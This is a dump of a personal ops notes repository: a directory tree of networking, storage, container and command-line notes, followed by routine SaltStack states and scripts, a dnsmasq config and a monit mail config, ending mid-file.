├── [cli, static, rip, eigrp, ospf].txt │ │ ├── [nat, pat].txt │ │ ├── [shell, command].txt │ │ ├── [stp].txt │ │ ├── [vlan].txt │ │ ├── office网络-规划.pkt │ │ └── office网络.pkt │ ├── huawei │ │ ├── 01-14 盒式堆叠典型配置.pdf │ │ ├── huawei_CSS_iStack_link.jpg │ │ ├── huawei_storage_product_vs.png │ │ ├── huawei_storage_product_vs_parameter.png │ │ ├── 华为_基于SVF的数据中心接入层组网图.jpg │ │ ├── 华为istack配置助手.docx │ │ ├── 华为交换机命令行操作小结.txt │ │ ├── 华为模拟器eNSP.txt │ │ ├── 华为路由器命令行操作小结.txt │ │ ├── 堆叠系统工作在接入层.jpg │ │ ├── 堆叠系统工作在接入环上.jpg │ │ ├── 堆叠系统工作在汇聚层.jpg │ │ ├── 设备通过业务口组建堆叠示例(V200R003~V200R009版本).jpg │ │ ├── 设备通过堆叠卡组建堆叠示例(V200R001~V200R009版本).jpg │ │ ├── 逻辑组网图_存储_管理_业务_01.jpg │ │ └── 逻辑组网图_存储_管理_业务_02.jpg │ ├── openvpn │ │ ├── openvpn_access_server.txt │ │ └── 初探OpenVPN-如何使2个局域网互通(LAN2LAN)和尝试ssh本地端口转发.txt │ ├── tcp │ │ ├── BBR.md │ │ ├── TCP状态变迁.txt │ │ ├── simultaneous-open.jpg │ │ ├── tcp-normalstatechange.jpg │ │ ├── tcp-state-change-1.jpg │ │ ├── tcp-state-change.jpg │ │ ├── tcp研究资料.md │ │ ├── time-wait.txt │ │ └── 获取tcp状态.txt │ ├── test │ │ ├── 55 │ │ │ ├── 55_server_client_default │ │ │ │ ├── 55_py_src.tar.gz │ │ │ │ ├── 55_客户端_v3.0.zip │ │ │ │ └── 55_服务端_howto.zip │ │ │ ├── 55_server_libqt_client_qt5 │ │ │ │ ├── 55_客户端_qt5_v2.8.0.zip │ │ │ │ └── 55_服务端_libqt_librehat.zip │ │ │ └── doc.zip │ │ ├── WANem.txt │ │ ├── fiddler.txt │ │ ├── secureCRT │ │ │ ├── SecureCRT.txt │ │ │ ├── img │ │ │ │ ├── 00.png │ │ │ │ ├── 01.png │ │ │ │ ├── 02.png │ │ │ │ ├── 03.png │ │ │ │ ├── 04.png │ │ │ │ ├── 05.png │ │ │ │ ├── 06.png │ │ │ │ ├── 07.png │ │ │ │ ├── 08.png │ │ │ │ ├── 09.png │ │ │ │ ├── 10.png │ │ │ │ ├── 11.png │ │ │ │ ├── 12.png │ │ │ │ ├── 13.png │ │ │ │ └── 14.png │ │ │ └── scrt7.2spec.zip │ │ ├── shodanhq.txt │ │ ├── socks5 │ │ │ ├── SwitchyOmega_Chromium.crx │ │ │ └── 如何使用socks5 代理.docx │ │ ├── wireshark的使用教程.docx │ │ ├── 抓包工具wireshark过滤.txt │ │ └── 网络相关常见问题.txt │ ├── 使用ip tunnel打通私有网络.txt │ ├── 小白都能看明白的VLAN原理解释.docx │ └── 浅谈linux下查看和配置ip的细节.txt ├── storage │ ├── FTP │ │ ├── bin │ │ │ └── log_cdn.sh │ │ ├── proftpd.txt │ │ ├── pure-ftpd.txt │ │ ├── samba.txt │ │ ├── seafile.txt │ │ └── vsftpd.txt │ ├── GlusterFS │ │ ├── GlusterFS-Architecture.docx │ │ ├── glusterfs复制模式数据分布不一致的现象分析.xlsx │ │ ├── 再探glusterfs-处理脑裂的问题示例.md │ │ ├── 初探GlusterFS-入门指引.txt │ │ ├── 初探GlusterFS-术语和架构.txt │ │ ├── 初探GlusterFS-测试卷的类型.txt │ │ ├── 初探glusterfs-gluster的默认配置.txt │ │ ├── 初探glusterfs-使用nfs-ganesha来提供NFS服务.txt │ │ ├── 初探glusterfs-使用小结FAQ.txt │ │ ├── 初探glusterfs-处理脑裂(split-brain)状态.txt │ │ └── 初探glusterfs-脑裂(split-brain)的原因.txt │ ├── RAID │ │ ├── Impact of RAID Settings on Performance .txt │ │ ├── dell_raid_create_profile_based_virtual_disk_GenericRaid1.jpg │ │ ├── dell_raid_create_profile_based_virtual_disk_GenericRaid6.jpg │ │ ├── raid_BBU的问题.txt │ │ ├── raid_Dell服务器配置RAID10.txt │ │ ├── raid_StripeSize.txt │ │ ├── raid_怎样修复损坏的软RAID1.txt │ │ ├── raid_磁盘缓存.txt │ │ ├── raid_软RAID技术概要.txt │ │ ├── 区分dell服务器的raid卡型号.txt │ │ └── 帮我选择RAID配置.docx │ ├── archi │ │ ├── AWS 云存储产品.png │ │ ├── ceph_glusterfs_lustre.png │ │ ├── switch_sas.jpg │ │ └── 天河2.jpg │ ├── ceph │ │ └── 初探ceph-熟悉安装配置和基本概念.txt │ ├── dell │ │ ├── dell m1000e刀箱A1A2_mgmt-B1B2_prod-C1C2_stor-01.png │ │ ├── dell m1000e刀箱A1A2_mgmt-B1B2_prod-C1C2_stor-02.png │ │ ├── dell m1000e刀箱A1A2_mgmt-B1B2_prod-C1C2_stor-ipmi.png │ │ ├── dell_storage_iscsi.png │ │ ├── dell_storage_iscsi_san_EqualLogic.png │ │ ├── dell_storage_nas.png │ │ ├── dell_storage_nas_san_das.png │ │ ├── dell_storage_nas_san_das_benefit.png │ │ ├── dell_storage_nas_san_das_vs.png │ │ ├── dell_storage_network_backup_policy.png │ │ ├── dell_storage_network_design.png │ │ ├── dell_storage_prod_EMC.png │ │ ├── dell_storage_prod_EQL.png │ │ ├── dell_storage_prod_PVMD.png │ │ └── dell_storage_san_iscsi_benefit.png │ ├── iscsi │ │ └── 商业存储服务器 Dell MD3800i 使用小结.txt │ ├── lvm │ │ ├── bin │ │ │ ├── disk_fdisk_lvm.sh │ │ │ ├── disk_lvm_snapshot.sh │ │ │ ├── docker_direct_lvm_setup.sh │ │ │ ├── lvm_fdisk.sh │ │ │ └── reformat_disk_over16T.sh │ │ ├── 使用lvm来管理iscsi存储.txt │ │ ├── 测试LVM的镜像功能.txt │ │ └── 演示针对LVM分区的管理.txt │ ├── ocfs2 │ │ └── 初探OCFS2-配置服务.txt │ ├── partition │ │ ├── auto_fdisk.sh │ │ ├── xfs.txt │ │ ├── 使用fdisk格式化硬盘.txt │ │ ├── 使用parted格式化大容量数据盘.txt │ │ ├── 修改uuid.txt │ │ ├── 挂载ntfs格式的磁盘.txt │ │ └── 挂载点和目录介绍.txt │ └── test │ │ ├── CPU超线程.txt │ │ ├── bin │ │ └── do_test_fio.sh │ │ ├── fio.txt │ │ └── 查看硬件.txt └── tuning │ ├── IPC初探-共享内存.txt │ ├── centos7内核升级成mainline版本.txt │ ├── linux内核调优参数对比和解释.txt │ ├── linux升级系统内核的方法.txt │ ├── sbin │ └── sys-opt.sh │ ├── shadowsocks-optimize-system.docx │ ├── 内存linux.txt │ ├── 几个查看系统状态的工具简介.md │ ├── 更换 centos6 的内核为 oracle uek 内核.txt │ └── 编译内核及制作RPM包.txt ├── PAAS ├── docker │ ├── archi │ │ ├── docker-filesystems-multilayer.png │ │ ├── docker_network_vpc.png │ │ ├── docker_swarm_network_view.png │ │ └── 阿里容器服务.jpg │ ├── bin │ │ └── init-docker-host.sh │ ├── docker深入1-docker初次安装使用.txt │ ├── docker深入1-docker的数据卷.txt │ ├── docker深入1-使用docker运行nsq.txt │ ├── docker深入1-使用supervisor来管理服务.txt │ ├── docker深入1-创建一个自己的docker image.txt │ ├── docker深入1-安装使用docker服务.txt │ ├── docker深入1-导入导出images和container的方式.txt │ ├── docker深入1-尝试运行一个简单的web环境.txt │ ├── docker深入1-配置docker服务的https通信.txt │ ├── docker深入2-API示例.txt │ ├── docker深入2-UI之portainer的API示例.txt │ ├── docker深入2-UI之portainer的二次开发.txt │ ├── docker深入2-UI之portainer的二次开发之使用yarn管理前端环境.md │ ├── docker深入2-UI之portainer的使用简介.md │ ├── docker深入2-UI之portainer通过API来更新service的ACL.md │ ├── docker深入2-docker-ce的最佳实践.md │ ├── docker深入2-dockerfile指令FAQ.txt │ ├── docker深入2-linux下的配置文件daemon.json使用示例.txt │ ├── docker深入2-体验compose.txt │ ├── docker深入2-使用jenkins镜像.txt │ ├── docker深入2-使用registrator和consul-template自动注册和变更服务.txt │ ├── docker深入2-使用自定义的网络来配置zookeeper集群.txt │ ├── docker深入2-基于 swarm mode 的服务发现和注册.txt │ ├── docker深入2-存储驱动之使用devicemapper(direct-lvm)模式.txt │ ├── docker深入2-容器删除操作失败.txt │ ├── docker深入2-熟悉 ingress routing mesh 的工作方式.txt │ ├── docker深入2-熟悉v1.11和找不同.txt │ ├── docker深入2-熟悉v1.12.txt │ ├── docker深入2-监控docker-swarm集群的方案swarmprom介绍.md │ └── images │ │ ├── docker-dev.png │ │ └── docker_network_inspect_swarm_mode_ipvs.png ├── k8s │ ├── k8s-业务访问入口的LB如何部署.txt │ ├── k8s-从后端存储etcd3直接取出可读的kv.txt │ ├── k8s-初探.txt │ ├── k8s_test │ │ └── ingress.class │ │ │ ├── nginx │ │ │ ├── deploy_app_whoami │ │ │ │ └── whoami.yaml │ │ │ └── ingress_controller │ │ │ │ ├── configmap.yaml │ │ │ │ ├── default-backend.yaml │ │ │ │ ├── namespace.yaml │ │ │ │ ├── rbac.yaml │ │ │ │ ├── service-nodeport.yaml │ │ │ │ ├── tcp-services-configmap.yaml │ │ │ │ ├── udp-services-configmap.yaml │ │ │ │ └── with-rbac.yaml │ │ │ └── traefik │ │ │ ├── deploy_app_cheese │ │ │ ├── deployment_cheese.yaml │ │ │ ├── ingress_cheese.yaml │ │ │ └── service_cheese.yaml │ │ │ ├── deploy_app_whoami │ │ │ └── whoami.yaml │ │ │ └── ingress_controller │ │ │ ├── rbac.yaml │ │ │ └── traefik.yaml │ └── k8s集群部署手册 │ │ ├── init_offline │ │ ├── etcd-server-init.sh │ │ ├── etcd-server-key-init.sh │ │ ├── init-hosts.sh │ │ ├── init-master.sh │ │ ├── init-worker.sh │ │ └── 离线部署k8s集群.md │ │ ├── k8s基本概念-如何使用Deployments.md │ │ ├── k8s基本概念-如何使用Namespaces.md │ │ ├── k8s基本概念-如何使用Services.md │ │ ├── k8s基本概念-如何使用私有regsitry.md │ │ ├── k8s基本概念-配置调度策略之(Taints-and-Tolerations).md │ │ ├── k8s附加组件之UI-如何使用dashboard.md │ │ ├── k8s附加组件之存储-glusterfs.md │ │ ├── 使用kubeadm部署k8s集群00-缓存gcr.io镜像.md │ │ ├── 使用kubeadm部署k8s集群00-缓存rpm包.md │ │ ├── 使用kubeadm部署k8s集群01-初始化.md │ │ ├── 使用kubeadm部署k8s集群02-配置etcd高可用.md │ │ ├── 使用kubeadm部署k8s集群03-扩容kube-apiserver到3节点.md │ │ ├── 使用kubeadm部署k8s集群04-配置kubelet访问kube-apiserver.md │ │ ├── 使用kubeadm部署k8s集群05-配置kubectl访问kube-apiserver.md │ │ ├── 使用kubeadm部署k8s集群06-配置kube-controller-manager高可用.md │ │ ├── 使用kubeadm部署k8s集群07-扩容kube-scheduler到3节点.md │ │ ├── 使用kubeadm部署k8s集群08-配置LB指向kube-apiserver.md │ │ ├── 使用kubeadm部署k8s集群09-配置worker节点.md │ │ └── 再探使用kubeadm部署高可用的k8s集群-01引言.md ├── serverless │ └── faas-intro.md └── serviceMesh │ └── serviceMesh-intro.md ├── README.md ├── cmd ├── NFS.txt ├── OpenIPMI.txt ├── aclocal.txt ├── apt.md ├── arp.txt ├── awk.txt ├── bash-shell-intro.md ├── chkconfig.txt ├── cron │ ├── at.txt │ └── crontab.txt ├── curl.txt ├── cut.txt ├── datetime │ ├── date.txt │ ├── ntp和ntpdate.txt │ ├── ntp排错.txt │ ├── timezone.txt │ └── 配置ntp服务.txt ├── dd.txt ├── diff.txt ├── echo.txt ├── env.txt ├── expect.txt ├── find.txt ├── flock.txt ├── fpm.txt ├── fuser.txt ├── grep.txt ├── head.txt ├── inode.txt ├── iptables │ ├── NFS端口.txt │ ├── images │ │ ├── Linux_IptablesSchema.png │ │ ├── iptables-traverse.jpg │ │ ├── nf-packet-flow.png │ │ ├── rc_DHCP_firewall.jpg │ │ ├── rc_DMZ_firewall.jpg │ │ ├── rc_NAT.jpg │ │ ├── rc_UTIN_firewall.jpg │ │ └── rc_firewall.jpg │ ├── iptables.指令解释.txt │ ├── iptables介绍.docx │ ├── iptables做端口转发.txt │ ├── iptables示例_nat_libvirt_virbr0.txt │ ├── rc.DHCP.firewall.txt │ ├── rc.DMZ.firewall.txt │ ├── rc.UTIN.firewall.txt │ ├── rc.firewall.txt │ ├── rc.firewall.注解.txt │ ├── rc.firewall.结构说明.txt │ ├── rc.flush-iptables.txt │ ├── rc.test-iptables.txt │ ├── setting_firewall_gw.sh │ ├── 如何管理iptables的一个示例.txt │ ├── 简单网关NAT设置示例.txt │ └── 透明网关.txt ├── jq.txt ├── ldconfig.txt ├── ln.txt ├── lsof.txt ├── nc.md ├── netstat.txt ├── nfs-ganesha.txt ├── nmap.txt ├── nohup.txt ├── paste.txt ├── profile.txt ├── ps.txt ├── route.txt ├── rsync │ ├── Rsync结合Inotify 实时同步.txt │ ├── inotifywait监控文件或目录.txt │ ├── rsync+Sersync实现触发式文件同步.txt │ ├── rsync_include.sh │ ├── rsync使用小结.txt │ └── rsync简明手册.txt ├── rz.txt ├── scp.txt ├── screen.txt ├── script.txt ├── sed.txt ├── selinux.txt ├── sendEmail.txt ├── seq.txt ├── smartctl.txt ├── sort.txt ├── ss.txt ├── ssh │ ├── Public key authentication with ssh.txt │ ├── sftp的用法.txt │ ├── ssh Public Key.doc │ ├── ssh forward.docx │ ├── ssh.txt │ ├── ssh权限配置.txt │ ├── ssh用法详解.1.txt │ ├── ssh用法详解.2.txt │ ├── ssh端口转发.txt │ ├── ssh连接慢的处理方法.txt │ └── ssh选项解释.md ├── sticky.txt ├── swap.txt ├── tar.txt ├── tc.txt ├── tcpdump.txt ├── top.txt ├── tr.txt ├── uniq.txt ├── user │ ├── linux用户管理小结.txt │ ├── openldap-初探.txt │ ├── sudo.txt │ ├── usermod.txt │ ├── 单用户模式重置root密码.txt │ ├── 查看机器中登陆的用户.txt │ └── 用户管理示例.txt ├── vim.txt ├── vimrc.txt ├── vnc.txt ├── wc.txt ├── wget.txt ├── xargs.txt └── zcat.txt └── dev ├── bash ├── count_coding_line.sh ├── download_html_txt.sh ├── get_jjs.sh ├── get_rmfygg.sh ├── set_color.sh └── test_www_by_curl.sh ├── c ├── C and C++ 的困惑.txt └── C学习脚印.txt ├── frontEnd ├── angularjs │ └── django+DRF+AngularJS.txt ├── bootstrap-treeview_exp │ ├── static │ │ ├── css │ │ │ ├── bootstrap-treeview.min.css │ │ │ └── bootstrap.min.css │ │ └── js │ │ │ ├── bootstrap-treeview.min.js │ │ │ ├── bootstrap.min.js │ │ │ └── jquery-2.2.0.min.js │ └── treeview_demo.html ├── css │ └── css技巧小结.txt ├── http状态码.txt ├── lang │ └── test.html ├── portal01 │ ├── index.html │ └── static │ │ ├── css │ │ └── bootstrap.min.css │ │ └── js │ │ ├── bootstrap.min.js │ │ └── jquery-2.2.0.min.js ├── portal02 │ ├── README.md │ ├── index.html │ └── static │ │ ├── css │ │ ├── bootstrap-treeview.min.css │ │ ├── bootstrap.min.css │ │ ├── bootstrap.min.css.map │ │ ├── ie10-viewport-bug-workaround.css │ │ └── main.css │ │ ├── data │ │ ├── appid_a1.json │ │ ├── appid_b1.json │ │ ├── appid_c1.json │ │ └── public_treeview.json │ │ ├── fonts │ │ ├── glyphicons-halflings-regular.eot │ │ ├── glyphicons-halflings-regular.svg │ │ ├── glyphicons-halflings-regular.ttf │ │ ├── glyphicons-halflings-regular.woff │ │ └── glyphicons-halflings-regular.woff2 │ │ ├── images │ │ ├── default.svg │ │ ├── logo.png │ │ └── test.png │ │ └── js │ │ ├── bootstrap-treeview.min.js │ │ ├── bootstrap.min.js │ │ ├── ie10-viewport-bug-workaround.js │ │ ├── jquery-2.2.0.min.js │ │ └── main.js ├── react │ └── 初探react-指南.md ├── reactNative │ └── 初探rn-指南.md └── 初探npm-安装.md ├── golang ├── 初探go-dep使用小结.md └── 初探go-golang语言初体验.md ├── java ├── eclipse.txt ├── jdk.txt └── tomcat.txt ├── php ├── php-fastcgi介绍.txt ├── php-fpm工作方式.txt ├── php-webtatic安装.txt ├── php查看编译参数.txt ├── php模块安装.txt ├── php配置示例.txt └── 编译安装php.txt ├── python ├── django │ ├── MTV.png │ ├── bin │ │ └── test_django_by_curl.sh │ ├── test-django │ │ ├── django-polls │ │ │ ├── LICENSE │ │ │ ├── MANIFEST.in │ │ │ ├── README.rst │ │ │ ├── dist │ │ │ │ └── django-polls-0.1.tar.gz │ │ │ ├── django_polls.egg-info │ │ │ │ ├── PKG-INFO │ │ │ │ ├── SOURCES.txt │ │ │ │ ├── dependency_links.txt │ │ │ │ └── top_level.txt │ │ │ ├── polls │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── admin.py │ │ │ │ ├── admin.pyc │ │ │ │ ├── models.py │ │ │ │ ├── models.pyc │ │ │ │ ├── static │ │ │ │ │ └── polls │ │ │ │ │ │ ├── images │ │ │ │ │ │ └── background.png │ │ │ │ │ │ └── style.css │ │ │ │ ├── templates │ │ │ │ │ └── polls │ │ │ │ │ │ ├── detail.html │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ └── results.html │ │ │ │ ├── tests.py │ │ │ │ ├── tests.pyc │ │ │ │ ├── urls.py │ │ │ │ ├── urls.pyc │ │ │ │ ├── views.py │ │ │ │ └── views.pyc │ │ │ └── setup.py │ │ └── mysite │ │ │ ├── README.rst │ │ │ ├── db.sqlite3 │ │ │ ├── manage.py │ │ │ ├── mysite │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── settings.py │ │ │ ├── settings.pyc │ │ │ ├── urls.py │ │ │ ├── urls.pyc │ │ │ ├── wsgi.py │ │ │ └── wsgi.pyc │ │ │ ├── polls │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── admin.py │ │ │ ├── admin.pyc │ │ │ ├── models.py │ │ │ ├── models.pyc │ │ │ ├── static │ │ │ │ └── polls │ │ │ │ │ ├── images │ │ │ │ │ └── background.png │ │ │ │ │ └── style.css │ │ │ ├── templates │ │ │ │ └── polls │ │ │ │ │ ├── detail.html │ │ │ │ │ ├── index.html │ │ │ │ │ └── results.html │ │ │ ├── tests.py │ │ │ ├── tests.pyc │ │ │ ├── urls.py │ │ │ ├── urls.pyc │ │ │ ├── views.py │ │ │ └── views.pyc │ │ │ └── templates │ │ │ └── admin │ │ │ └── base_site.html │ ├── 初探django-使用uwsgi+supervisor+nginx来部署服务.txt │ ├── 初探django-写一个小游戏charade.txt │ ├── 初探django-打包app的方法.txt │ ├── 初探django-演示charade在centos7下的部署.txt │ └── 初探django-演示如何结合virtualenv来配置项目.txt ├── pip.md ├── python3_email.txt ├── python_faq.txt ├── setuptools.txt ├── virtualenv.txt └── 在centos6.5安装python27+easy_install27+pip27.txt └── ruby └── ruby.txt /.gitattributes: -------------------------------------------------------------------------------- 1 | sendEmail linguist-language=Shell 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /AUTO/devops/aliyun_devops_after.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/AUTO/devops/aliyun_devops_after.jpeg -------------------------------------------------------------------------------- /AUTO/devops/aliyun_devops_before.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/AUTO/devops/aliyun_devops_before.jpeg -------------------------------------------------------------------------------- /AUTO/devops/atlassian_devops_culture_toolchains.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/AUTO/devops/atlassian_devops_culture_toolchains.png -------------------------------------------------------------------------------- /AUTO/devops/devops.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/AUTO/devops/devops.png -------------------------------------------------------------------------------- /AUTO/devops/meizu_ops_archi/01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/AUTO/devops/meizu_ops_archi/01.png -------------------------------------------------------------------------------- /AUTO/devops/meizu_ops_archi/02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/AUTO/devops/meizu_ops_archi/02.png -------------------------------------------------------------------------------- /AUTO/devops/meizu_ops_archi/03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/AUTO/devops/meizu_ops_archi/03.png -------------------------------------------------------------------------------- /AUTO/devops/meizu_ops_archi/04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/AUTO/devops/meizu_ops_archi/04.png -------------------------------------------------------------------------------- /AUTO/devops/meizu_ops_archi/05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/AUTO/devops/meizu_ops_archi/05.png -------------------------------------------------------------------------------- /AUTO/devops/meizu_ops_archi/readme.txt: -------------------------------------------------------------------------------- 1 | 2016/12/9 2 | PC 3 | -- 4 | ops world分享的文档中,大赞“魅族基础系统架构运维之路”这个PPT,对中小企业的基础架构的演进有挺棒的借鉴指导,因而分享部分内容在此。 -------------------------------------------------------------------------------- /AUTO/devops/运维工作解释.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/AUTO/devops/运维工作解释.docx -------------------------------------------------------------------------------- /AUTO/devops/运维工作解释.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/AUTO/devops/运维工作解释.pdf -------------------------------------------------------------------------------- /AUTO/saltStack/bin/saltstack-install-minion.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # 2015/4/21 4 | 5 | salt_m=salt-m.office.test 6 | yum install salt-minion -y 7 | 8 | cp -a /etc/salt/minion /etc/salt/minion.bak 9 | cat <<_EOF >/etc/salt/minion 10 | master: ${salt_m} 11 | id: $(hostname) 12 | 13 | _EOF 14 | 15 | service salt-minion start 16 | cat /etc/salt/minion 17 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/pillar/job/init.sls: -------------------------------------------------------------------------------- 1 | schedule: 2 | highstate: 3 | function: state.highstate 4 | minutes: 30 5 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/pillar/package/init.sls: -------------------------------------------------------------------------------- 1 | pkgs: 2 | {% if grains['os_family'] == 'RedHat' %} 3 | vim: vim-enhanced 4 | apache: httpd 5 | {% elif grains['os_family'] == 'Debian' %} 6 | vim: vim 7 | apache: apache2 8 | {% elif grains['os'] == 'Arch' %} 9 | vim: vim 10 | apache: httpd 11 | {% endif %} 12 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/pillar/top.sls: -------------------------------------------------------------------------------- 1 | base: 2 | '*': 3 | - package 4 | - job 5 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/abc/hosts.sls: -------------------------------------------------------------------------------- 1 | /etc/hosts: 2 | file.append: 3 | - text: 4 | - '192.168.56.253 salt-m.office.test' 5 | - '192.168.56.254 mirrors.office.test' 6 | - "127.0.0.1 {{ grains['id'] }}" 7 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/abc/init.sls: -------------------------------------------------------------------------------- 1 | include: 2 | - abc.hosts 3 | - abc.resolv 4 | - abc.yum 5 | - abc.locale 6 | - abc.ntp 7 | - abc.packages 8 | - abc.systemtuning 9 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/abc/locale.sls: -------------------------------------------------------------------------------- 1 | ## update i18n settings 2 | # 3 | # via pc @ 2015/8/19 4 | 5 | /etc/sysconfig/i18n: 6 | file.managed: 7 | - source: salt://conf.d/locale/sysconfig_i18n 8 | 9 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/abc/ntp.sls: -------------------------------------------------------------------------------- 1 | ## use local timezone and ntp settings 2 | # 3 | # via pc @ 2015/8/19 4 | 5 | /etc/localtime: 6 | file.copy: 7 | - source: /usr/share/zoneinfo/Asia/Shanghai 8 | - force: True 9 | 10 | pkg-ntp-start: 11 | pkg.installed: 12 | - name: ntp 13 | file.managed: 14 | - name: /etc/ntp.conf 15 | - source: salt://conf.d/locale/ntp.conf 16 | - requires: 17 | - pkg: ntp 18 | service.running: 19 | - name: ntpd 20 | - enable: True 21 | - reload: True 22 | - watch: 23 | - file: /etc/ntp.conf 24 | - require: 25 | - pkg: ntp 26 | - require_in: 27 | - file: /etc/sysconfig/ntpd 28 | 29 | /etc/sysconfig/ntpd: 30 | file.managed: 31 | - source: salt://conf.d/locale/sysconfig_ntpd 32 | 33 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/abc/packages.sls: -------------------------------------------------------------------------------- 1 | ## 此处列出主机上线时需要的软件包 2 | # 3 | common-pkgs: 4 | pkg.installed: 5 | - pkgs: 6 | - lrzsz 7 | - wget 8 | - curl 9 | - rsync 10 | - screen 11 | - dos2unix 12 | - tree 13 | - ntp 14 | - bind-utils 15 | - nc 16 | - telnet 17 | - git 18 | 19 | ## 此处列出需要update的软件包 20 | # 21 | up2date-pkgs: 22 | pkg.latest: 23 | - pkgs: 24 | - bash 25 | - openssl 26 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/abc/resolv.sls: -------------------------------------------------------------------------------- 1 | /etc/resolv.conf: 2 | file.managed: 3 | {% if grains['id'] == 'tvm-yum' %} 4 | - source: salt://conf.d/resolv/server.conf 5 | {% else %} 6 | - source: salt://conf.d/resolv/client.conf 7 | {% endif %} 8 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/abc/systemtuning.sls: -------------------------------------------------------------------------------- 1 | ## update sysctl 2 | # 3 | # via pc @ 2015/8/12 4 | 5 | basic-limits: 6 | file.managed: 7 | - name: /etc/security/limits.d/my-limits.conf 8 | - source: salt://conf.d/systemtuning/my-limits.conf 9 | 10 | basic-sysctl: 11 | file.append: 12 | - name: /etc/sysctl.conf 13 | - source: salt://conf.d/systemtuning/sysctl.conf 14 | 15 | basic-rc-local: 16 | file.append: 17 | - name: /etc/rc.local 18 | - source: salt://conf.d/systemtuning/rc-local.conf 19 | 20 | basic-modprobe-dist: 21 | file.append: 22 | - name: /etc/modprobe.d/dist.conf 23 | - source: salt://conf.d/systemtuning/modprobe-dist.conf 24 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/abc/yum.sls: -------------------------------------------------------------------------------- 1 | /etc/yum.repos.d/local-office.repo: 2 | file.managed: 3 | - name: /etc/yum.repos.d/local-office.repo 4 | - source: salt://conf.d/yum/local-office.repo 5 | - mode: 644 6 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/dnsmasq/office.conf: -------------------------------------------------------------------------------- 1 | # office test 2 | address=/mirrors.office.test/192.168.56.254 3 | address=/ntp.office.test/192.168.56.254 4 | address=/cobbler.office.test/192.168.56.252 5 | address=/salt-m.office.test/192.168.56.253 6 | address=/seafile.office.test/192.168.56.248 7 | address=/zbx-m.office.test/192.168.56.200 8 | address=/glusterfs-node01.office.test/192.168.56.241 9 | address=/glusterfs-node02.office.test/192.168.56.242 10 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/locale/README.txt: -------------------------------------------------------------------------------- 1 | # 简化配置文件: 2 | grep ^[^#] tpl.ntp.conf >ntp.conf 3 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/locale/ntp.conf: -------------------------------------------------------------------------------- 1 | driftfile /var/lib/ntp/drift 2 | restrict default kod nomodify notrap nopeer noquery 3 | restrict -6 default kod nomodify notrap nopeer noquery 4 | restrict 127.0.0.1 5 | restrict -6 ::1 6 | restrict 0.0.0.0 7 | server pool.ntp.org prefer 8 | server stdtime.gov.hk iburst 9 | server 2.cn.pool.ntp.org iburst 10 | server 2.asia.pool.ntp.org iburst 11 | server 0.centos.pool.ntp.org iburst 12 | server 1.centos.pool.ntp.org iburst 13 | server 127.127.1.0 14 | fudge 127.127.1.0 stratum 8 15 | includefile /etc/ntp/crypto/pw 16 | keys /etc/ntp/keys 17 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/locale/sysconfig_i18n: -------------------------------------------------------------------------------- 1 | LANG="en_US.UTF-8" 2 | SYSFONT="latarcyrheb-sun16" 3 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/locale/sysconfig_ntpd: -------------------------------------------------------------------------------- 1 | # Drop root to id 'ntp:ntp' by default. 2 | OPTIONS="-4 -u ntp:ntp -p /var/run/ntpd.pid -g" 3 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/monit/monit-mail.conf: -------------------------------------------------------------------------------- 1 | 2 | # mail server 3 | set mailserver smtp.exmail.qq.com port 25 4 | username "test@company.com" password "mypass" 5 | 6 | # later delivery retry 7 | set eventqueue 8 | basedir /var/monit 9 | slots 100 10 | 11 | # mail format 12 | set mail-format { 13 | from: test@company.com 14 | subject: [monit Alter][test from DC1] $HOST $SERVICE $EVENT 15 | message: $EVENT Service $SERVICE 16 | Date: $DATE 17 | Action: $ACTION 18 | Host: 